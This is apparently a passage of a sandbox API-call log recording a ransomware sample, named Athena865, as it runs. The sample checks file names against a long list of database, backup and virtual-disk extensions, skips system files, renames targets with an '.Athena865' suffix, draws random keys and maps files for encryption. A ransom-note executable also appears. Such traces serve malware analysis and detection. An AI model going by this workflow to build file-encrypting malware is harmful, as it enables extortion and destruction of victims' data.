[0101.883] lstrcmpiW (lpString1="url", lpString2="dp1") returned 1 [0101.883] lstrlenW (lpString="dqy") returned 3 [0101.883] lstrcmpiW (lpString1="url", lpString2="dqy") returned 1 [0101.883] lstrlenW (lpString="dsk") returned 3 [0101.883] lstrcmpiW (lpString1="url", lpString2="dsk") returned 1 [0101.883] lstrlenW (lpString="dsn") returned 3 [0101.883] lstrcmpiW (lpString1="url", lpString2="dsn") returned 1 [0101.883] lstrlenW (lpString="dtsx") returned 4 [0101.883] lstrcmpiW (lpString1=".url", lpString2="dtsx") returned -1 [0101.883] lstrlenW (lpString="dxl") returned 3 [0101.883] lstrcmpiW (lpString1="url", lpString2="dxl") returned 1 [0101.883] lstrlenW (lpString="eco") returned 3 [0101.883] lstrcmpiW (lpString1="url", lpString2="eco") returned 1 [0101.884] lstrlenW (lpString="ecx") returned 3 [0101.884] lstrcmpiW (lpString1="url", lpString2="ecx") returned 1 [0101.884] lstrlenW (lpString="edb") returned 3 [0101.884] lstrcmpiW (lpString1="url", lpString2="edb") returned 1 [0101.884] lstrlenW (lpString="epim") returned 4 [0101.884] lstrcmpiW (lpString1=".url", lpString2="epim") returned -1 [0101.884] lstrlenW (lpString="fcd") returned 3 [0101.884] lstrcmpiW (lpString1="url", lpString2="fcd") returned 1 [0101.884] lstrlenW (lpString="fdb") returned 3 [0101.884] lstrcmpiW (lpString1="url", lpString2="fdb") returned 1 [0101.884] lstrlenW (lpString="fic") returned 3 [0101.884] lstrcmpiW (lpString1="url", lpString2="fic") returned 1 [0101.884] lstrlenW (lpString="flexolibrary") returned 12 [0101.884] lstrcmpiW (lpString1="ows Live.url", lpString2="flexolibrary") returned 1 [0101.884] lstrlenW (lpString="fm5") returned 3 [0101.884] lstrcmpiW (lpString1="url", lpString2="fm5") returned 1 [0101.884] lstrlenW (lpString="fmp") returned 3 [0101.884] lstrcmpiW (lpString1="url", lpString2="fmp") returned 1 [0101.884] lstrlenW (lpString="fmp12") returned 5 [0101.884] lstrcmpiW (lpString1="e.url", lpString2="fmp12") returned -1 [0101.884] lstrlenW (lpString="fmpsl") returned 5 [0101.884] lstrcmpiW (lpString1="e.url", lpString2="fmpsl") returned -1 [0101.884] lstrlenW (lpString="fol") returned 3 [0101.884] lstrcmpiW (lpString1="url", lpString2="fol") returned 1 [0101.884] lstrlenW (lpString="fp3") returned 3 [0101.884] lstrcmpiW (lpString1="url", lpString2="fp3") returned 1 [0101.884] lstrlenW (lpString="fp4") returned 3 [0101.884] lstrcmpiW (lpString1="url", lpString2="fp4") returned 1 [0101.884] lstrlenW (lpString="fp5") returned 3 [0101.884] lstrcmpiW (lpString1="url", lpString2="fp5") returned 1 [0101.884] lstrlenW (lpString="fp7") returned 3 [0101.885] lstrcmpiW (lpString1="url", lpString2="fp7") returned 1 [0101.885] lstrlenW (lpString="fpt") returned 3 [0101.885] lstrcmpiW (lpString1="url", lpString2="fpt") returned 1 [0101.885] lstrlenW (lpString="frm") returned 3 [0101.885] lstrcmpiW (lpString1="url", lpString2="frm") returned 1 [0101.885] lstrlenW (lpString="gdb") returned 3 [0101.885] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1 [0101.885] lstrlenW (lpString="gdb") returned 3 [0101.885] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1 [0101.885] lstrlenW (lpString="grdb") returned 4 [0101.885] lstrcmpiW (lpString1=".url", lpString2="grdb") returned -1 [0101.885] lstrlenW (lpString="gwi") returned 3 [0101.885] lstrcmpiW (lpString1="url", lpString2="gwi") returned 1 [0101.885] lstrlenW (lpString="hdb") returned 3 [0101.885] lstrcmpiW (lpString1="url", lpString2="hdb") returned 1 [0101.885] lstrlenW (lpString="his") returned 3 [0101.885] lstrcmpiW (lpString1="url", lpString2="his") returned 1 [0101.885] lstrlenW (lpString="ib") returned 2 [0101.885] lstrcmpiW (lpString1="rl", lpString2="ib") returned 1 [0101.885] lstrlenW (lpString="idb") returned 3 [0101.885] lstrcmpiW (lpString1="url", lpString2="idb") returned 1 [0101.885] lstrlenW (lpString="ihx") returned 3 [0101.885] lstrcmpiW (lpString1="url", lpString2="ihx") returned 1 [0101.885] lstrlenW (lpString="itdb") returned 4 [0101.885] lstrcmpiW (lpString1=".url", lpString2="itdb") returned -1 [0101.885] lstrlenW (lpString="itw") returned 3 [0101.885] lstrcmpiW (lpString1="url", lpString2="itw") returned 1 [0101.885] lstrlenW (lpString="jet") returned 3 [0101.885] lstrcmpiW (lpString1="url", lpString2="jet") returned 1 [0101.885] lstrlenW (lpString="jtx") returned 3 [0101.886] lstrcmpiW (lpString1="url", lpString2="jtx") returned 1 [0101.886] lstrlenW (lpString="kdb") returned 3 [0101.887] lstrcmpiW (lpString1="url", lpString2="kdb") returned 1 [0101.887] lstrlenW (lpString="kexi") returned 4 [0101.887] lstrcmpiW (lpString1=".url", lpString2="kexi") returned -1 [0101.887] lstrlenW (lpString="kexic") returned 5 [0101.887] lstrcmpiW (lpString1="e.url", lpString2="kexic") returned -1 [0101.887] lstrlenW (lpString="kexis") returned 5 [0101.887] lstrcmpiW (lpString1="e.url", lpString2="kexis") returned -1 [0101.887] lstrlenW (lpString="lgc") returned 3 [0101.887] lstrcmpiW (lpString1="url", lpString2="lgc") returned 1 [0101.887] lstrlenW (lpString="lwx") returned 3 [0101.887] lstrcmpiW (lpString1="url", lpString2="lwx") returned 1 [0101.887] lstrlenW (lpString="maf") returned 3 [0101.887] lstrcmpiW (lpString1="url", lpString2="maf") returned 1 [0101.887] lstrlenW (lpString="maq") returned 3 [0101.887] lstrcmpiW (lpString1="url", lpString2="maq") returned 1 [0101.887] lstrlenW (lpString="mar") returned 3 [0101.887] lstrcmpiW (lpString1="url", lpString2="mar") returned 1 [0101.887] lstrlenW (lpString="marshal") returned 7 [0101.888] lstrcmpiW (lpString1="ive.url", lpString2="marshal") returned -1 [0101.888] lstrlenW (lpString="mas") returned 3 [0101.888] lstrcmpiW (lpString1="url", lpString2="mas") returned 1 [0101.888] lstrlenW (lpString="mav") returned 3 [0101.888] lstrcmpiW (lpString1="url", lpString2="mav") returned 1 [0101.888] lstrlenW (lpString="maw") returned 3 [0101.888] lstrcmpiW (lpString1="url", lpString2="maw") returned 1 [0101.888] lstrlenW (lpString="mdbhtml") returned 7 [0101.888] lstrcmpiW (lpString1="ive.url", lpString2="mdbhtml") returned -1 [0101.888] lstrlenW (lpString="mdn") returned 3 [0101.888] lstrcmpiW (lpString1="url", lpString2="mdn") returned 1 [0101.888] lstrlenW (lpString="mdt") returned 3 [0101.888] lstrcmpiW (lpString1="url", lpString2="mdt") returned 1 [0101.888] lstrlenW (lpString="mfd") returned 3 [0101.888] lstrcmpiW (lpString1="url", lpString2="mfd") returned 1 [0101.888] lstrlenW (lpString="mpd") returned 3 [0101.888] lstrcmpiW (lpString1="url", lpString2="mpd") returned 1 [0101.888] lstrlenW (lpString="mrg") returned 3 [0101.888] lstrcmpiW (lpString1="url", lpString2="mrg") returned 1 [0101.888] lstrlenW (lpString="mud") returned 3 [0101.888] lstrcmpiW (lpString1="url", lpString2="mud") returned 1 [0101.888] lstrlenW (lpString="mwb") returned 3 [0101.888] lstrcmpiW (lpString1="url", lpString2="mwb") returned 1 [0101.888] lstrlenW (lpString="myd") returned 3 [0101.888] lstrcmpiW (lpString1="url", lpString2="myd") returned 1 [0101.888] lstrlenW (lpString="ndf") returned 3 [0101.888] lstrcmpiW (lpString1="url", lpString2="ndf") returned 1 [0101.888] lstrlenW (lpString="nnt") returned 3 [0101.888] lstrcmpiW (lpString1="url", lpString2="nnt") returned 1 [0101.888] lstrlenW (lpString="nrmlib") returned 6 [0101.888] lstrcmpiW (lpString1="ve.url", lpString2="nrmlib") returned 1 [0101.889] lstrlenW (lpString="ns2") returned 3 [0101.889] lstrcmpiW (lpString1="url", lpString2="ns2") returned 1 [0101.889] lstrlenW (lpString="ns3") returned 3 [0101.889] lstrcmpiW (lpString1="url", lpString2="ns3") returned 1 [0101.889] lstrlenW (lpString="ns4") returned 3 [0101.889] lstrcmpiW (lpString1="url", lpString2="ns4") returned 1 [0101.889] lstrlenW (lpString="nsf") returned 3 [0101.889] lstrcmpiW (lpString1="url", lpString2="nsf") returned 1 [0101.889] lstrlenW (lpString="nv") returned 2 [0101.889] lstrcmpiW (lpString1="rl", lpString2="nv") returned 1 [0101.889] lstrlenW (lpString="nv2") returned 3 [0101.889] lstrcmpiW (lpString1="url", lpString2="nv2") returned 1 [0101.889] lstrlenW (lpString="nwdb") returned 4 [0101.889] lstrcmpiW (lpString1=".url", lpString2="nwdb") returned -1 [0101.889] lstrlenW (lpString="nyf") returned 3 [0101.889] lstrcmpiW (lpString1="url", lpString2="nyf") returned 1 [0101.889] lstrlenW (lpString="odb") returned 3 [0101.889] lstrcmpiW (lpString1="url", lpString2="odb") returned 1 [0101.889] lstrlenW (lpString="odb") returned 3 [0101.889] lstrcmpiW (lpString1="url", lpString2="odb") returned 1 [0101.889] lstrlenW (lpString="oqy") returned 3 [0101.889] lstrcmpiW (lpString1="url", lpString2="oqy") returned 1 [0101.889] lstrlenW (lpString="ora") returned 3 [0101.889] lstrcmpiW (lpString1="url", lpString2="ora") returned 1 [0101.889] lstrlenW (lpString="orx") returned 3 [0101.889] lstrcmpiW (lpString1="url", lpString2="orx") returned 1 [0101.889] lstrlenW (lpString="owc") returned 3 [0101.889] lstrcmpiW (lpString1="url", lpString2="owc") returned 1 [0101.889] lstrlenW (lpString="p96") returned 3 [0101.889] lstrcmpiW (lpString1="url", lpString2="p96") returned 1 [0101.889] lstrlenW (lpString="p97") returned 3 [0101.889] lstrcmpiW (lpString1="url", lpString2="p97") returned 1 [0101.890] lstrlenW (lpString="pan") returned 3 [0101.890] lstrcmpiW (lpString1="url", lpString2="pan") returned 1 [0101.890] lstrlenW (lpString="pdb") returned 3 [0101.890] lstrcmpiW (lpString1="url", lpString2="pdb") returned 1 [0101.890] lstrlenW (lpString="pdm") returned 3 [0101.890] lstrcmpiW (lpString1="url", lpString2="pdm") returned 1 [0101.890] lstrlenW (lpString="pnz") returned 3 [0101.890] lstrcmpiW (lpString1="url", lpString2="pnz") returned 1 [0101.890] lstrlenW (lpString="qry") returned 3 [0101.890] lstrcmpiW (lpString1="url", lpString2="qry") returned 1 [0101.890] lstrlenW (lpString="qvd") returned 3 [0101.890] lstrcmpiW (lpString1="url", lpString2="qvd") returned 1 [0101.890] lstrlenW (lpString="rbf") returned 3 [0101.890] lstrcmpiW (lpString1="url", lpString2="rbf") returned 1 [0101.890] lstrlenW (lpString="rctd") returned 4 [0101.890] lstrcmpiW (lpString1=".url", lpString2="rctd") returned -1 [0101.890] lstrlenW (lpString="rod") returned 3 [0101.890] lstrcmpiW (lpString1="url", lpString2="rod") returned 1 [0101.890] lstrlenW (lpString="rodx") returned 4 [0101.890] lstrcmpiW (lpString1=".url", lpString2="rodx") returned -1 [0101.890] lstrlenW (lpString="rpd") returned 3 [0101.890] lstrcmpiW (lpString1="url", lpString2="rpd") returned 1 [0101.890] lstrlenW (lpString="rsd") returned 3 [0101.890] lstrcmpiW (lpString1="url", lpString2="rsd") returned 1 [0101.890] lstrlenW (lpString="sas7bdat") returned 8 [0101.890] lstrcmpiW (lpString1="Live.url", lpString2="sas7bdat") returned -1 [0101.890] lstrlenW (lpString="sbf") returned 3 [0101.890] lstrcmpiW (lpString1="url", lpString2="sbf") returned 1 [0101.890] lstrlenW (lpString="scx") returned 3 [0101.890] lstrcmpiW (lpString1="url", lpString2="scx") returned 1 [0101.890] lstrlenW (lpString="sdb") returned 3 [0101.890] lstrcmpiW (lpString1="url", lpString2="sdb") returned 1 [0101.891] lstrlenW (lpString="sdc") returned 3 [0101.891] lstrcmpiW (lpString1="url", lpString2="sdc") returned 1 [0101.891] lstrlenW (lpString="sdf") returned 3 [0101.891] lstrcmpiW (lpString1="url", lpString2="sdf") returned 1 [0101.891] lstrlenW (lpString="sis") returned 3 [0101.891] lstrcmpiW (lpString1="url", lpString2="sis") returned 1 [0101.891] lstrlenW (lpString="spq") returned 3 [0101.891] lstrcmpiW (lpString1="url", lpString2="spq") returned 1 [0101.891] lstrlenW (lpString="te") returned 2 [0101.891] lstrcmpiW (lpString1="rl", lpString2="te") returned -1 [0101.891] lstrlenW (lpString="teacher") returned 7 [0101.891] lstrcmpiW (lpString1="ive.url", lpString2="teacher") returned -1 [0101.891] lstrlenW (lpString="tmd") returned 3 [0101.891] lstrcmpiW (lpString1="url", lpString2="tmd") returned 1 [0101.891] lstrlenW (lpString="tps") returned 3 [0101.891] lstrcmpiW (lpString1="url", lpString2="tps") returned 1 [0101.891] lstrlenW (lpString="trc") returned 3 [0101.891] lstrcmpiW (lpString1="url", lpString2="trc") returned 1 [0101.891] lstrlenW (lpString="trc") returned 3 [0101.891] lstrcmpiW (lpString1="url", lpString2="trc") returned 1 [0101.891] lstrlenW (lpString="trm") returned 3 [0101.891] lstrcmpiW (lpString1="url", lpString2="trm") returned 1 [0101.891] lstrlenW (lpString="udb") returned 3 [0101.891] lstrcmpiW (lpString1="url", lpString2="udb") returned 1 [0101.891] lstrlenW (lpString="udl") returned 3 [0101.891] lstrcmpiW (lpString1="url", lpString2="udl") returned 1 [0101.891] lstrlenW (lpString="usr") returned 3 [0101.891] lstrcmpiW (lpString1="url", lpString2="usr") returned -1 [0101.891] lstrlenW (lpString="v12") returned 3 [0101.891] lstrcmpiW (lpString1="url", lpString2="v12") returned -1 [0101.891] lstrlenW (lpString="vis") returned 3 [0101.891] lstrcmpiW (lpString1="url", lpString2="vis") returned -1 [0101.892] lstrlenW (lpString="vpd") returned 3 [0101.892] lstrcmpiW (lpString1="url", lpString2="vpd") returned -1 [0101.892] lstrlenW (lpString="vvv") returned 3 [0101.892] lstrcmpiW (lpString1="url", lpString2="vvv") returned -1 [0101.892] lstrlenW (lpString="wdb") returned 3 [0101.892] lstrcmpiW (lpString1="url", lpString2="wdb") returned -1 [0101.892] lstrlenW (lpString="wmdb") returned 4 [0101.892] lstrcmpiW (lpString1=".url", lpString2="wmdb") returned -1 [0101.892] lstrlenW (lpString="wrk") returned 3 [0101.892] lstrcmpiW (lpString1="url", lpString2="wrk") returned -1 [0101.892] lstrlenW (lpString="xdb") returned 3 [0101.892] lstrcmpiW (lpString1="url", lpString2="xdb") returned -1 [0101.892] lstrlenW (lpString="xld") returned 3 [0101.892] lstrcmpiW (lpString1="url", lpString2="xld") returned -1 [0101.892] lstrlenW (lpString="xmlff") returned 5 [0101.892] lstrcmpiW (lpString1="e.url", lpString2="xmlff") returned -1 [0101.892] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url.Athena865") returned 100 [0101.892] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url.athena865"), dwFlags=0x1) returned 1 [0101.893] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.894] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=133) returned 1 [0101.894] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.894] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.894] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0101.894] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0101.895] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.895] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.895] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x17c [0101.897] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0101.897] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0101.898] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.898] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.898] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.899] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50dd88 [0101.899] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50dd88 | out: hHeap=0x4f0000) returned 1 [0101.899] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.899] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x528188 [0101.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.899] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.899] CloseHandle (hObject=0x17c) returned 1 [0101.899] CloseHandle (hObject=0x154) returned 1 [0101.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0101.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.899] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5f6b8a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc5f6b8a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0101.900] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0101.900] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1 [0101.900] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.900] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.900] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2=".") returned 1 [0101.900] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="..") returned 1 [0101.900] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="windows") returned 1 [0101.900] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="bootmgr") returned 1 [0101.900] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="temp") returned 1 [0101.900] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="pagefile.sys") returned 1 [0101.900] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="boot") returned 1 [0101.900] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="ids.txt") returned 1 [0101.900] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="ntuser.dat") returned 1 [0101.900] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="perflogs") returned 1 [0101.900] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2="MSBuild") returned 1 [0101.900] lstrlenW (lpString="Windows Live Gallery.url") returned 24 [0101.900] lstrcpyW (in: lpString1=0x241e8d4, lpString2="Windows Live Gallery.url" | out: lpString1="Windows Live Gallery.url") returned="Windows Live Gallery.url" [0101.900] lstrlenW (lpString="Windows Live Gallery.url") returned 24 [0101.900] lstrlenW (lpString="Athena865") returned 9 [0101.900] lstrcmpiW (lpString1="llery.url", lpString2="Athena865") returned 1 [0101.900] lstrlenW (lpString=".dll") returned 4 [0101.900] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2=".dll") returned 1 [0101.900] lstrlenW (lpString=".lnk") returned 4 [0101.900] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2=".lnk") returned 1 [0101.900] lstrlenW (lpString=".ini") returned 4 [0101.900] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2=".ini") returned 1 [0101.900] lstrlenW (lpString=".sys") returned 4 [0101.900] lstrcmpiW (lpString1="Windows Live Gallery.url", lpString2=".sys") returned 1 [0101.900] lstrlenW (lpString="Windows Live Gallery.url") returned 24 [0101.900] lstrlenW (lpString="bak") returned 3 [0101.900] lstrcmpiW (lpString1="url", lpString2="bak") returned 1 [0101.900] lstrlenW (lpString="ba_") returned 3 [0101.901] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1 [0101.901] lstrlenW (lpString="dbb") returned 3 [0101.901] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1 [0101.901] lstrlenW (lpString="vmdk") returned 4 [0101.901] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1 [0101.901] lstrlenW (lpString="rar") returned 3 [0101.901] lstrcmpiW (lpString1="url", lpString2="rar") returned 1 [0101.901] lstrlenW (lpString="zip") returned 3 [0101.901] lstrcmpiW (lpString1="url", lpString2="zip") returned -1 [0101.901] lstrlenW (lpString="tgz") returned 3 [0101.901] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1 [0101.901] lstrlenW (lpString="vbox") returned 4 [0101.901] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1 [0101.901] lstrlenW (lpString="vdi") returned 3 [0101.901] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1 [0101.901] lstrlenW (lpString="vhd") returned 3 [0101.901] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1 [0101.901] lstrlenW (lpString="vhdx") returned 4 [0101.901] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1 [0101.901] lstrlenW (lpString="avhd") returned 4 [0101.901] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1 [0101.901] lstrlenW (lpString="db") returned 2 [0101.901] lstrcmpiW (lpString1="rl", lpString2="db") returned 1 [0101.901] lstrlenW (lpString="db2") returned 3 [0101.901] lstrcmpiW (lpString1="url", lpString2="db2") returned 1 [0101.901] lstrlenW (lpString="db3") returned 3 [0101.901] lstrcmpiW (lpString1="url", lpString2="db3") returned 1 [0101.901] lstrlenW (lpString="dbf") returned 3 [0101.901] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1 [0101.902] lstrlenW (lpString="mdf") returned 3 [0101.902] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1 [0101.902] lstrlenW (lpString="mdb") returned 3 [0101.902] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1 [0101.902] lstrlenW (lpString="sql") returned 3 [0101.902] lstrcmpiW (lpString1="url", lpString2="sql") returned 1 [0101.902] lstrlenW (lpString="sqlite") returned 6 [0101.902] lstrcmpiW (lpString1="ry.url", lpString2="sqlite") returned -1 [0101.902] lstrlenW (lpString="sqlite3") returned 7 [0101.902] lstrcmpiW (lpString1="ery.url", lpString2="sqlite3") returned -1 [0101.902] lstrlenW (lpString="sqlitedb") returned 8 [0101.902] lstrcmpiW (lpString1="lery.url", lpString2="sqlitedb") returned -1 [0101.902] lstrlenW (lpString="xml") returned 3 [0101.902] lstrcmpiW (lpString1="url", lpString2="xml") returned -1 [0101.902] lstrlenW (lpString="$er") returned 3 [0101.902] lstrcmpiW (lpString1="url", lpString2="$er") returned 1 [0101.902] lstrlenW (lpString="4dd") returned 3 [0101.902] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1 [0101.902] lstrlenW (lpString="4dl") returned 3 [0101.902] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1 [0101.902] lstrlenW (lpString="^^^") returned 3 [0101.902] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1 [0101.902] lstrlenW (lpString="abs") returned 3 [0101.902] lstrcmpiW (lpString1="url", lpString2="abs") returned 1 [0101.902] lstrlenW (lpString="abx") returned 3 [0101.902] lstrcmpiW (lpString1="url", lpString2="abx") returned 1 [0101.902] lstrlenW (lpString="accdb") returned 5 [0101.902] lstrcmpiW (lpString1="y.url", lpString2="accdb") returned 1 [0101.902] lstrlenW (lpString="accdc") returned 5 [0101.902] lstrcmpiW (lpString1="y.url", lpString2="accdc") returned 1 [0101.902] lstrlenW (lpString="accde") returned 5 [0101.903] lstrcmpiW (lpString1="y.url", lpString2="accde") returned 1 [0101.903] lstrlenW (lpString="accdr") returned 5 [0101.903] lstrcmpiW (lpString1="y.url", lpString2="accdr") returned 1 [0101.903] lstrlenW (lpString="accdt") returned 5 [0101.903] lstrcmpiW (lpString1="y.url", lpString2="accdt") returned 1 [0101.903] lstrlenW (lpString="accdw") returned 5 [0101.903] lstrcmpiW (lpString1="y.url", lpString2="accdw") returned 1 [0101.903] lstrlenW (lpString="accft") returned 5 [0101.903] lstrcmpiW (lpString1="y.url", lpString2="accft") returned 1 [0101.903] lstrlenW (lpString="adb") returned 3 [0101.903] lstrcmpiW (lpString1="url", lpString2="adb") returned 1 [0101.903] lstrlenW (lpString="adb") returned 3 [0101.903] lstrcmpiW (lpString1="url", lpString2="adb") returned 1 [0101.903] lstrlenW (lpString="ade") returned 3 [0101.903] lstrcmpiW (lpString1="url", lpString2="ade") returned 1 [0101.903] lstrlenW (lpString="adf") returned 3 [0101.903] lstrcmpiW (lpString1="url", lpString2="adf") returned 1 [0101.903] lstrlenW (lpString="adn") returned 3 [0101.903] lstrcmpiW (lpString1="url", lpString2="adn") returned 1 [0101.903] lstrlenW (lpString="adp") returned 3 [0101.903] lstrcmpiW (lpString1="url", lpString2="adp") returned 1 [0101.903] lstrlenW (lpString="alf") returned 3 [0101.903] lstrcmpiW (lpString1="url", lpString2="alf") returned 1 [0101.903] lstrlenW (lpString="ask") returned 3 [0101.903] lstrcmpiW (lpString1="url", lpString2="ask") returned 1 [0101.903] lstrlenW (lpString="btr") returned 3 [0101.903] lstrcmpiW (lpString1="url", lpString2="btr") returned 1 [0101.903] lstrlenW (lpString="cat") returned 3 [0101.903] lstrcmpiW (lpString1="url", lpString2="cat") returned 1 [0101.903] lstrlenW (lpString="cdb") returned 3 [0101.903] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1 [0101.903] lstrlenW (lpString="ckp") returned 3 [0101.904] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1 [0101.904] lstrlenW (lpString="cma") returned 3 [0101.904] lstrcmpiW (lpString1="url", lpString2="cma") returned 1 [0101.904] lstrlenW (lpString="cpd") returned 3 [0101.904] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1 [0101.904] lstrlenW (lpString="dacpac") returned 6 [0101.904] lstrcmpiW (lpString1="ry.url", lpString2="dacpac") returned 1 [0101.904] lstrlenW (lpString="dad") returned 3 [0101.904] lstrcmpiW (lpString1="url", lpString2="dad") returned 1 [0101.904] lstrlenW (lpString="dadiagrams") returned 10 [0101.904] lstrcmpiW (lpString1="allery.url", lpString2="dadiagrams") returned -1 [0101.904] lstrlenW (lpString="daschema") returned 8 [0101.904] lstrcmpiW (lpString1="lery.url", lpString2="daschema") returned 1 